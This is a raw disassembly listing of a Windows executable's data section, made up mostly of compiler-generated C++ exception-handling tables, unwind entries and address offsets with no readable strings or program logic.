dword_43E190 dd 0 dd 8, 0
off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o
off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o
dd offset sub_4021A8
dd offset sub_40134D
align 10h
off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o
dd offset sub_4021A8
dd offset sub_40152D
align 10h
dd offset loc_4015F0
dd offset sub_4021A8
dd offset sub_4019E2
align 10h
dd offset dword_43E348
off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:off_4438C0o
; ___:off_4438E0o ...
dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0)
off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E318
dd 0
db 0 ; DATA XREF: ___:0043E358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43E330h
dword_43E348 dd 3 dup(0) dd offset off_446CE0
dd offset unk_43E338
dd 45h dup(0)
dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0
dd offset dword_436FCC+0B34h
dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0
dd offset loc_437B7B
dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh
dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h
dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h
dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah
dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh
dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h
dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h
dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah
dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh
dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h
dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h
dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah
dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0)
dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0
dd offset loc_437FC8
dd 2 dup(0)
dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0
dd offset loc_437FF8
align 10h
dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0)
dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0
dd offset loc_438048
dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
dd 2 dup(0)
dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0
dd offset loc_4380C8
dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
dd 2 dup(0)
dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh
dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0)
dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0
dd offset loc_438208
dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h
dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh
dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0)
dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0
dd offset loc_43828B
dd 0
dd offset loc_438296
dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h
dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h
dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah
dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh
dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch
dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh
dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh
dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh
dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h
dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h
dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h
dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0)
dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0
dd offset loc_438530
align 10h
dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0
dd offset loc_438570
dd 2 dup(0)
dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0
dd offset loc_4385BB
dd 0
dd offset loc_4385C6
dd 2 dup(0)
dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0)
dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0)
dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0
dd offset loc_438638
align 10h
dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0
dd offset loc_43865B
dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh
dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h
dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h
dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah
dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh
dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh
dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh
dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah
dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh
dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh
dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h
dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh
dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh
dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h
dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh
dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh
dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh
dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h
dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0)
dd offset off_4438C0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 436800h, 2 dup(0)
dd offset off_4438E0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C2Ah, 2 dup(0)
dd offset off_443908
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C30h, 0
dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o
dd offset dword_436BD4+62h
dd 0
dd offset dword_43F068
dd 2 dup(0)
dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0)
dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0)
dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0
dd offset loc_438A87
dd 1, 438A8Fh, 2 dup(0)
dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0)
dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F1B0h, 4 dup(0)
dd offset sub_40AE52
dd 2 dup(0)
dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F210h, 4 dup(0)
dd offset sub_40AFD1
dd 2 dup(0)
dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0
dd offset loc_438AFB
dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0
dd offset loc_438B4B
dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh
dd 438BA0h, 2 dup(0)
dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0
dd offset loc_438BC8
dd 1, 438BD0h, 2 dup(0)
dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0)
dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh
dd 438C20h, 2, 438C28h, 2 dup(0)
dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0)
dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0
dd offset loc_438C7B
dd 0
dd offset loc_438C86
dd 2, 438C91h, 2 dup(0)
dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0)
dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0
dd offset loc_438CEB
dd 0
dd offset loc_438CF6
dd 0
dd offset loc_438D01
dd 0
dd offset loc_438D0C
dd 2 dup(0)
dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0
dd offset loc_438D4B
align 10h
dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0
dd offset loc_438D7B
dd 2 dup(0)
dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0)
dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0
dd offset loc_438DEB
dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h
dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
dd 438EE4h, 4 dup(0)
dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0
dd offset loc_438F28
dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0
dd offset loc_438F78
dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0
dd offset loc_438FC8
dd 1, 438FD0h, 2 dup(0)
dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0)
dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0
dd offset loc_439018
dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h
dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0
dd offset loc_439078
dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh
dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h
dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h
dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h
dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h
dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h
dd 4391E5h, 8 dup(0)
dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0
dd offset loc_439268
dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh
dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0
dd offset loc_43939B
dd 1, 4393A6h, 0
dd offset loc_4393B1
dd 0
dd offset loc_4393BC
dd 0
dd offset loc_4393C7
dd 0
dd offset loc_4393D2
dd 0
dd offset loc_4393DD
dd 0
dd offset loc_4393E8
dd 0
dd offset loc_4393F3
dd 9, 4393FEh, 0
dd offset loc_439409
dd 0
dd offset loc_439414
dd 0
dd offset loc_43941F
dd 0
dd offset loc_43942A
dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
dd 0
dd offset loc_439499
dd 0
dd offset loc_4394A4
dd 0
dd offset loc_4394B2
dd 0
; ---------------------------------------------------------------------------
rcl byte ptr [ebx+eax*2+1A00h], 0
retf
; ---------------------------------------------------------------------------
db 94h, 43h, 0
dd 1Bh, 4394D6h, 0
dd offset loc_4394E1
dd 1Dh, 4394ECh, 0
dd offset loc_4394F7
dd 1Fh, 439502h, 0
dd offset loc_43950D
dd 0
dd offset loc_439518
dd 0
dd offset loc_439523
dd 0
dd offset loc_43952E
dd 0
dd offset loc_439539
dd 25h, 439544h, 26h, 43954Fh, 0
dd offset loc_43954F
dd 28h, 439544h, 0
dd offset loc_43955A
dd 0
dd offset loc_439565
dd 2Bh, 439570h, 2Ch, 43957Bh, 0
dd offset loc_43957B
dd 2Eh, 439570h, 2Eh, 439586h, 0
dd offset loc_439591
dd 31h, 43959Ch, 0
dd offset loc_4395A7
dd 0
dd offset loc_4395B2
dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0)
dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0)
dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0
dd offset loc_4396B8
dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0
dd offset loc_439718
dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh
dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0)
dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0
dd offset loc_4397E8
dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh
dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9
dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h
dd 4 dup(0)
dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0
dd offset loc_439890
dd 2 dup(0)
dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0
dd offset loc_4398D8
align 10h
dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0)
dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0
dd offset loc_439918
dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
dd 2 dup(0)
dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0
dd offset loc_43997B
dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 99h, 43h, 0
dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0)
dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0)
dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0
dd offset loc_439A78
align 10h
dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0
dd offset loc_439A98
dd 1, 439AA3h, 2 dup(0)
dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0
dd offset loc_439AD8
dd 1, 439AE0h, 2 dup(0)
dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0)
dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0
dd offset loc_439B28
dd 0
dd offset loc_439B30
dd 0
dd offset loc_439B3B
dd 2 dup(0)
dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0
dd offset loc_439B68
dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0
dd offset loc_439BBB
dd 1, 439BC6h, 2 dup(0)
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0
dd offset loc_439BF8
dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0
dd offset loc_439C38
dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0
dd offset loc_439C88
dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0
dd offset loc_439CC8
dd 1, 439CD0h, 2 dup(0)
dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0)
dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0
dd offset loc_439D18
dd 2 dup(0)
dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0
dd offset loc_439D38
align 10h
dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0
dd offset loc_439D5B
dd 1, 439D66h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0)
dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0
dd offset loc_439DD8
dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh
dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh
dd 439E40h, 2 dup(0)
dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0
dd offset loc_439E78
dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh
dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h
dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h
dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0)
dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0
dd offset loc_43A058
dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh
dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h
dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h
dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0)
dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0)
dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0
dd offset loc_43A25B
dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh
dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h
dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h
dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah
dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh
dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h
dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h
dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah
dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh
dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h
dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h
dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah
dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0
dd offset loc_43A68B
dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0
dd offset loc_43A6DB
dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0
dd offset loc_43A74E
dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0
dd offset loc_43A7AB
dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0
dd offset loc_43A80B
dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0)
dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0)
dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0)
dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A8h, 43h, 0
dd 2 dup(0)
